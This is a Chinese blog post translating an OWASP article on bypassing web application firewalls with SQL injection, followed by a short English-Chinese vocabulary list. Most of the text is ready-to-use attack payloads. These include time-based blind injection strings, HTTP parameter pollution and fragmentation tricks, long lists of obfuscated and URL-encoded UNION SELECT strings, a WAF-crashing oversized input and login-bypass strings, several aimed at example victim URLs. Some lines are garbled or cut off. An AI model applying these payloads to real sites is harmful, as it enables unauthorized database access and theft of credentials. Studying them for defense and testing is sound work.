这篇文章是我翻译OWASP官网上的一篇文章,原文链接:SQL Injection Bypassing WAF
我发现自己的外文文献阅读能力有点低,感觉有时间的话还是多翻译一些外文文献,锻炼一下自己的外文阅读能力,可能其他人翻译过,可能翻译的比我更好,但我主要还是锻炼自己的外文阅读能力。也挑一些自己感兴趣的,日后有用的。
sql注入攻击是由插入或注入一段从客户端输入的sql语句引起的。一个成功的sql注入利用(exploit)能从数据库读取敏感数据,改变数据库数据(通过Insert/Update/Delete),在数据库执行(execute)管理员操作(比如关闭数据库管理系统DBMS),在DBMS文件系统上回复指定文件的内容和在一些场景下执行操作系统命令(command)。sql注入攻击是一种注入攻击,它将sql命令注入到数据平面(data-plan)使得影响预先设置的sql命令的执行结果。
下面是两种sql注入
• 字符型sql注入
例: SELECT * from table where example = 'example'
• 数字型sql注入
例: SELECT * from table where id = 123
sql注入的利用根据DBMS种类和注入环境分为以下几类
• 一个脆弱的请求能进行insert,update,delete等一些列操作
例: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
sql盲注
例: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
这句话是比较基本的盲注了,拆解一下这句话AND前面是正常的查询语句,后面进行了一个判断,主要内容是select user()查询当前用户,substring()提取第 i位开始1个字符然后lower将这个字符转换为小写之后使用ascii()转换为ascii码然后与 i 位 开 始 1 个 字 符 然 后 l o w e r 将 这 个 字 符 转 换 为 小 写 之 后 使 用 a s c i i ( ) 转 换 为 a s c i i 码 然 后 与 s进行比较,如果不等则返回1,语句即变为了 select * from table where id = 1 AND 1
,若相等则执行benchmark(200000,md5(now()),这个函数执行需要一阵子,所以根据服务器返回的时间可以判断if中的判断语句的逻辑结果,当然也可使用sleep()代替benchmark
SLEEP(5)--
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1--
id=1) OR SLEEP(25)=0 LIMIT 1--
id=1' OR SLEEP(25)=0 LIMIT 1--
id=1') OR SLEEP(25)=0 LIMIT 1--
id=1)) OR SLEEP(25)=0 LIMIT 1--
id=SELECT SLEEP(25)--
利用不同的DBMS特征
例: (MySQL): SELECT * from table where id = 1 union select 1,2,3
例: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
mysql是不支持使用;一起执行两个sql语句的,但PostgreSQL就可以
绕过WAF:普通
第一个例子是关于归一化请求函数的漏洞
这个例子不允许任何人有下面请求的攻击行为
/?id=1+union+select+1,2,3/*
如果防火墙存在相应的漏洞,那么下面请求将会生效
/?id=1/*union*/union/*select*/select+1,2,3/*
因为被防火墙处理之后,这个请求会变成:
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
这个例子在只是清除危险流量而不是阻塞整个攻击源的请求(可以理解为丢弃这个请求)的情况下生效
第二个例子也是关于归一化请求函数的漏洞
和第一个很相似,不允许任何人提交下面的攻击请求
/?id=1+union+select+1,2,3/*
如果防火墙存在相应漏洞,则下面攻击会生效
/?id=1+un/**/ion+sel/**/ect+1,2,3--
这个请求会变成
SELECT * from table where id =1 union select 1,2,3--
与构造/**/相似的任意防火墙会剪掉(cuts off)的字符序列都可以使用(如####,%00)
这个例子在防火墙过度的清理输入数据时生效(将一些目标表达替换为空字符串)
使用HTTP参数污染(HPP)
不允许任何人提交下面的攻击请求
/?id=1;select+1,2,3+from+users+where+id=1--
下面使用HPP(HTTP参数污染)的请求会成功执行
/?id=1;select+1&id=2,3+from+users+where+id=1--
成功使用HPP的攻击绕过防火墙取决于被攻击的web应用的的环境
使用HTTP参数污染(HPP)
漏洞代码
SQL=" select key from table where id= "+Request.QueryString("id")
下面的请求使用HPP技术
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
这个请求会变成
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
绕过WAF:HPF SQL注入
使用HTTP参数碎片(HTTP Parameter Fragmentation )
漏洞代码
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
不允许任何人发起下面的攻击请求
/?a=1+union+select+1,2/*
则下面使用HPF的请求会成功执行
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
这个SQL语句变成了
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
绕过WAF:SQL盲注
使用and/or逻辑查询请求
下面的攻击请求可以被很多WAF识别
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
否定或不等号(!=,<>,<,>)可以替换等号达成绕过,看起来很不可思议,但就是很多WAF都忽略了这一点!
所以替换同义符号来sql盲注可以利用这种漏洞。
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()
不同的逻辑语句
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
...
不同的请求内容表达一个意思的例子
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'#直接字符
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a #16进制
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') #16进制函数
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' #匹配正则
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' #like替换=
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' #rlike正则
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 #ascii码
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 #同上
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 #find_in_set前面的是否在后面的里面
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
#position 第一个参数在第二个参数中第一次出现的位置
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
#locate 第一个参数在第二个参数中的位置
已知的
substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70
mid((select 'password'),1,1) = 0x70
新的
strcmp(left('password',1), 0x69) = 1 #比较两个字符串
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) 如果两个字符串expr1和expr2相等则返回0,第一个小返回-1,第二个小返回1
一个符号绕过的例子
下面的攻击会被WAF识别
/?id=1+union+(select+1,2+from+users)
但有时候可以替换符号绕过
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
在下面情况下一个sql注入攻击可以成功绕过防火墙
绕过防火墙的一些payload
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
concat(0x223e,@@version,0x3c696d67207372633d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
使用url编码方法绕过
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
非法混合上面的方法
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
代码
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
一些防火墙过滤器只识别小写字母的sql关键词
正则过滤器: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
一些应用和防火墙预先替换/移除所有的sql关键词,所以我们可以这样绕过(双写绕过,在xss中也有这很强的应用)
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
一些案例中的sql关键词被替换为空白,所以我们可以使用%0b绕过(%0b是tab)
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
一些情况下,/**/注释不能绕过,我们可以使用%0b替换注释
禁止: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过: http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
通过缓冲区溢出干掉防火墙
(1)缓冲区溢出/防火墙崩溃:很多防火墙是用C/C++编写的,我么可以使用缓冲区溢出让它们崩溃
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
You can test if the WAF can be crashed by typing:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
If you get a 500, you can exploit it using the Buffer Overflow Method.
(2)将符号替换为它们的16禁止值:我们可以替换一些字符成它们的16禁止(或url编码)值
例:
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(其实就是 “union select”)
(3)误码率利用函数:很多防火墙尝试使用增加保护种类或使用陌生函数来提供更多的保护(这就是我们可以利用的点)
例:
这个防火墙替换"*"为空白,那么我们可以这样:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
(如果这个防火墙移除了"*",这个结果会变成:15+union+select…)
所以,如果你发现这样傻逼的函数,那么你就可以像这样利用它
如果我们需要绕过一些管理员权限(万能密码),我们可以使用1=1
or 1-- -' or 1 or '1"or 1 or"
SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username= *AND password=* the "or 1-- -"
如果上面语句生效,这个行为就是真,忽略了前面的查询,我们检查一下规则字符串。
SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" '
or 1部分使这个查询变为真,其他部分会被考虑为比较字符串。和双引号一样
SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" "
拥有你自己的sql注入载荷标准
Dhiraj Mishra ([email protected])
exploit 利用
execute 执行
command 命令
vulnerability 脆弱性,漏洞
conduct 行为
corresponding 相应的
Parameter 参数
excessive 过度的
conduction 传导
Negation 否定
lowercase 小写
quote 引号